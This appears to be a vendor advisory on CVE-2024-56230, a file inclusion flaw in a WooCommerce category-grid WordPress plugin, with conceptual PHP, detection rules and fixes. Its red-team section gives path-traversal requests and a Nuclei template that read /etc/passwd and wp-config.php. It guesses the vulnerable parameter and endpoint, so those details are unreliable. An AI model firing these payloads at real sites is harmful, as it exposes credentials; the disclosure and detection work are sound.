CVE-2024-56230

Executive Summary

CVE-2024-56230 is a PHP Local File Inclusion (LFI) vulnerability in the WordPress plugin Dynamic Product Category Grid, Slider for WooCommerce (slug: dynamic-product-categories-design), developed by Maidul. The vulnerability exists in all versions up to and including 1.1.3. It allows an unauthenticated attacker to include arbitrary local files from the server via the include or require PHP functions, due to improper control of a filename parameter.

This is a WordPress ecosystem issue; the vulnerable code resides within the plugin's PHP files, not in the web server (Apache/Nginx) configuration. The CVSS score is 7.5 (High), with the primary impact being confidentiality (file read). No remote code execution is directly possible, but LFI can often be chained with other vulnerabilities (e.g., log poisoning) to achieve RCE.

Supply Chain & Package Security

This plugin is distributed via the official WordPress Plugin Directory. As of this report, no patch has been released. Users should consider this a supply chain risk: any site running this plugin is vulnerable. The plugin's code is not open-source in the traditional sense (no public repository), but the PHP source is available to anyone who downloads it from WordPress.org.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: High. The low attack complexity and lack of authentication make this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the plugin's PHP code that handles dynamic file inclusion. The plugin likely uses a parameter (e.g., include_file, template, or similar) to load template files or other resources. This parameter is not sanitized or validated, allowing path traversal sequences (e.g., ../../) to be injected.

Vulnerable Code Pattern (Conceptual):

<?php
// Vulnerable: direct use of user input in include/require
$file = $_GET['template'];
include( $file . '.php' );
?>

An attacker can supply a value like ../../../../etc/passwd%00 (null byte injection, though PHP 5.3+ may block this) or simply ../../../../etc/passwd (if the extension is appended, they can use a null byte or a path that ends with a dot). In modern PHP, the null byte trick is mitigated, but path traversal without extension appending is still possible if the code does not append .php.

Exploitation Scenario:

1. Attacker sends a GET request to a vulnerable endpoint.
2. The request includes a crafted template parameter with path traversal.
3. The server includes the specified file, outputting its contents (e.g., /etc/passwd, wp-config.php).

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// dynamic-product-categories-design/includes/class-frontend.php
public function load_template() {
    $template = $_GET['template'];
    include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
}

Patched Code (Conceptual):

// Patched version would validate and sanitize input
public function load_template() {
    $allowed_templates = array('grid', 'slider', 'list');
    $template = sanitize_file_name( $_GET['template'] );
    if ( in_array( $template, $allowed_templates ) ) {
        include( plugin_dir_path( __FILE__ ) . 'templates/' . $template . '.php' );
    } else {
        // Default or error
    }
}

Note: No official patch exists. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• Knowledge of the vulnerable parameter (e.g., template).

Exploit Steps:

1. Identify the vulnerable endpoint. Common patterns: /wp-admin/admin-ajax.php?action=load_template&template=... or a custom page.
2. Use path traversal to read sensitive files.

Proof-of-Concept (PoC) Request:

GET /wp-content/plugins/dynamic-product-categories-design/includes/class-frontend.php?template=../../../../etc/passwd HTTP/1.1
Host: target.com

Alternative (if extension is appended):

GET /wp-content/plugins/dynamic-product-categories-design/includes/class-frontend.php?template=../../../../etc/passwd%00 HTTP/1.1

Automated Scanning with Nuclei (if template existed):

# No official template provided, but a custom one could be:
id: CVE-2024-56230
info:
  name: Dynamic Product Category Grid LFI
  severity: high
requests:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/dynamic-product-categories-design/includes/class-frontend.php?template=../../../../etc/passwd"
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

Blue Team (Defensive)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e/).
• Look for requests to the plugin's PHP files with suspicious template parameters.
• Use WAF rules to block ../ sequences in query strings.

Honeypot:

• Deploy a fake wp-config.php file with a unique string. If the string appears in logs, an LFI attempt is confirmed.

Lab Setup:

1. Install WordPress locally (e.g., using Docker).
2. Download and install the vulnerable plugin (version 1.1.3).
3. Activate the plugin.
4. Send the PoC request using curl or Burp Suite.

Indicators of Compromise (IOCs)

• File Paths Accessed:
  • /etc/passwd
  • /etc/shadow
  • /wp-config.php
  • /proc/self/environ
• Log Entries:
  • GET /wp-content/plugins/dynamic-product-categories-design/includes/class-frontend.php?template=../../../../etc/passwd
  • GET /wp-content/plugins/dynamic-product-categories-design/includes/class-frontend.php?template=../../../../wp-config.php
• Network Indicators:
  • Source IPs scanning for the plugin path.
  • User-Agent strings associated with automated scanners (e.g., Nuclei, python-requests).

Detection Engineering

YARA Rule

rule CVE_2024_56230_LFI_WordPress {
    meta:
        description = "Detects LFI attempts against Dynamic Product Category Grid plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-56230"
    strings:
        $path1 = "/dynamic-product-categories-design/"
        $path2 = "template="
        $traversal = "../"
    condition:
        all of ($path*) and #traversal > 2
}

Sigma Rule

title: CVE-2024-56230 LFI Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal in requests to Dynamic Product Category Grid plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/dynamic-product-categories-design/'
            - 'template='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of template parameter with valid paths (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-56230 LFI Attempt"; flow:to_server,established; content:"/dynamic-product-categories-design/"; http_uri; content:"template="; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. If the plugin is critical, implement a Web Application Firewall (WAF) rule to block path traversal patterns in the template parameter.
3. Review server logs for signs of exploitation.

Long-Term Fix:

• The vendor must release a patched version that validates and sanitizes the template parameter against a whitelist of allowed values.
• Alternatively, remove the plugin entirely and use a different, actively maintained solution.

Workaround (Code-Level):

• If you have access to the plugin files, add input validation:

$allowed = array('grid', 'slider');
$template = basename( $_GET['template'] );
if ( in_array( $template, $allowed ) ) {
    include( 'templates/' . $template . '.php' );
}

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters.it.